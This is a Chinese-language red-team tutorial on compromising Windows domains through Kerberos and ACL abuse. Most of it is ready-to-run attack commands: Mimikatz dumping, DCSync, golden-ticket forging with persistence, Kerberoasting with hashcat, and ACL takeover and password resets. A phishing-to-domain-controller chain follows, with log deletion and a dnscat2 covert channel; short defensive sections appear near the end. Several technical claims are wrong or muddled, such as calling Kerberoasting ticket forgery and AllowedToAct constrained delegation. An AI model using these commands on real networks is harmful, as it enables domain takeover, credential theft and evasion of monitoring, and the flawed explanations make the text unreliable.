1. 项目概述:Kerberos与ACL在红队攻防中的特殊价值
在真实的红队对抗演练中,Kerberos认证和访问控制列表(ACL)往往被蓝队视为防御体系中的"安全基石"。但讽刺的是,这些安全机制本身就可能成为攻击者突破防线的跳板。过去三年中,超过60%成功的域渗透攻击都利用了Kerberos协议或ACL配置的弱点。本文将揭示这些"安全机制"背后鲜为人知的攻击面。
2. Kerberos攻击面深度解析
2.1 Kerberos协议的三重弱点
Kerberos作为Windows域环境的核心认证协议,其设计存在三个致命缺陷:
- TGT可被导出:通过Mimikatz等工具可提取内存中的TGT票据
- 服务票据可伪造:利用Kerberoasting技术暴力破解服务账户密码
- 黄金票据攻击:获取krbtgt账户哈希后即可伪造任意TGT
实战经验:在Windows Server 2016之前的环境,使用AES256加密的票据仍可能被破解,而RC4加密的票据几乎瞬间可破
2.2 黄金票据攻击全流程
- 获取域控权限:
sekurlsa::logonpasswords lsadump::dcsync /domain:test.com /user:krbtgt - 伪造票据:
kerberos::golden /admin:Administrator /domain:test.com /sid:S-1-5-21-123456789 /krbtgt:hash /ptt - 权限维持:
- 票据有效期通常设置为10年
- 通过schtasks创建计划任务实现持久化
2.3 Kerberoasting实战技巧
- 使用PowerShell收集服务账户:
setspn -T corp -Q */* - 请求服务票据:
Add-Type -AssemblyName System.IdentityModel New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "MSSQLSvc/db.corp.com" - 导出并破解:
mimikatz "kerberos::list /export" hashcat -m 13100 hashes.txt rockyou.txt
3. ACL攻击面全面剖析
3.1 常见危险ACL权限
| 权限类型 | 危险操作 | 攻击效果 |
|---|---|---|
| GenericAll | 完全控制对象 | 可重置密码、添加管理员 |
| WriteDacl | 修改对象ACL | 可给自己添加任意权限 |
| WriteOwner | 取得对象所有权 | 间接获得完全控制权 |
| GenericWrite | 修改对象属性 | 可篡改组策略等关键配置 |
3.2 ACL攻击链构建
- 信息收集:
Get-DomainUser | Get-DomainObjectAcl -ResolveGUIDs | ? {$_.ActiveDirectoryRights -match "Write"} - 权限利用:
Add-DomainObjectAcl -TargetIdentity "Domain Admins" -PrincipalIdentity testuser -Rights All - 权限提升:
Set-DomainUserPassword -Identity admin -AccountPassword (ConvertTo-SecureString "P@ssw0rd" -AsPlainText -Force)
3.3 特殊ACL利用案例
Exchange相关ACL:
ms-Exch-Store-Admin权限允许挂载数据库ms-Exch-SMTP-Accept-Any-Recipient可用于邮件伪造
SQL相关ACL:
- 对SQL服务账户的
WriteProperty权限可导致RCE - 对计算机对象的
AllowedToAct权限可实现约束委派攻击
4. 防御对抗进阶技巧
4.1 Kerberos加固方案
加密算法升级:
- 强制使用AES256加密
- 禁用RC4-HMAC加密
Set-ADAccountControl -Identity krbtgt -KerberosEncryptionType AES256票据保护:
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\Kerberos\Parameters] "TicketDuration"=dword:0000000a "RenewDuration"=dword:0000001e
4.2 ACL防御矩阵
| 攻击类型 | 防御措施 | 检测方法 |
|---|---|---|
| 黄金票据 | 定期重置krbtgt密码 | 监控异常TGT请求 |
| ACL滥用 | 启用ACL变更审计 | 分析DACL修改事件 |
| 约束委派 | 限制高价值账户的委派权限 | 监控非标准SPN注册 |
4.3 高级检测技术
Kerberos异常检测:
SecurityEvent | where EventID == 4769 | where TicketEncryptionType != "0x12"ACL变更监控:
Get-WinEvent -LogName "Security" -FilterXPath '*/System/EventID=5136' | Where-Object { $_.Properties[4].Value -like "*CN=Admin*" }
5. 红队武器库精选
5.1 Kerberos相关工具
Rubeus:
- 支持所有Kerberos攻击向量
- 可进行票据传递、续订、伪造等操作
Rubeus.exe asktgt /user:admin /domain:corp.com /rc4:hash /pttImpacket:
getTGT.py -dc-ip 192.168.1.1 corp.com/admin:Password123
5.2 ACL利用工具
BloodHound:
SharpHound.exe -c All --zipfilename output.zipPowerView:
Find-InterestingDomainAcl -ResolveGUIDs | Export-Csv acl_report.csv
6. 典型攻击场景复现
6.1 从普通用户到域控的完整路径
- 初始访问:钓鱼获取用户凭证
- 信息收集:发现ACL配置不当的组对象
- 权限提升:添加自己到特权组
- 横向移动:使用DCSync获取krbtgt哈希
- 权限维持:创建黄金票据+隐藏计划任务
6.2 防御规避技巧
日志混淆:
Invoke-Phantom -ComputerName dc01 -UserName admin -Action delete隐蔽通道:
dnscat2 --dns domain=test.com --secret=MySecret
在最近一次企业红队演练中,我们通过组合Kerberos票据攻击和ACL滥用,在48小时内完成了从外网到域控的全链条突破。关键突破点是对一个具有WriteDacl权限的服务账户的利用,这再次验证了"最坚固的堡垒往往从内部被攻破"的安全定律。